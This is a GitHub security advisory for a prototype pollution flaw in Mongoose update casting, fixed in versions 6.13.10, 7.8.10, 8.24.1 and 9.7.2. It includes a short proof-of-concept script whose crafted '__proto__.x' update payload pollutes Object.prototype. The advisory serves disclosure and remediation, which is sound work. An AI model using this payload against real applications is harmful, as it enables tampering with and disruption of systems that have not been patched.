GitHub Advisoryadvisory · npm
GHSA-664h-wqgq-64gw Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
MEDIUM
Official page ↗
- Aliases
- CVE-2026-73562
- Ecosystem
- npm
- Packages
- mongoose
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
- Weaknesses
- CWE-1321
- Reviewed
- 2026-07-24
Affected packages
• npm mongoose: < 6.13.10 → fixed in 6.13.10
• npm mongoose: >= 7.0.0, < 7.8.10 → fixed in 7.8.10
• npm mongoose: >= 8.0.0, < 8.24.1 → fixed in 8.24.1
• npm mongoose: >= 9.0.0, < 9.7.2 → fixed in 9.7.2
Description
Impact
_What kind of vulnerability is it? Who is impacted?_
Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`.
Example:
```javascript
const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath); // undefined
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update
const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }
console.log('after :', Object.prototype.$fullPath); // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath); // "__proto__"
```
Patches
_Has the problem been patched? What versions should users upgrade to?_
9.7.2, 8.24.1. 7.8.10, 6.13.10
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Check user-controlled updates for own `__proto__` properties before passing to Mongoose
References
_Are there any links users can visit to find out more?_
Related
Alias · CVE (1)
- CVE-2026-73562 Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
References
- https://github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw web
- https://github.com/Automattic/mongoose/pull/16230 web
- https://github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b web
- https://github.com/Automattic/mongoose package
- https://github.com/Automattic/mongoose/releases/tag/6.13.10 web
- https://github.com/Automattic/mongoose/releases/tag/7.8.10 web
- https://github.com/Automattic/mongoose/releases/tag/8.24.1 web
- https://github.com/Automattic/mongoose/releases/tag/9.7.2 web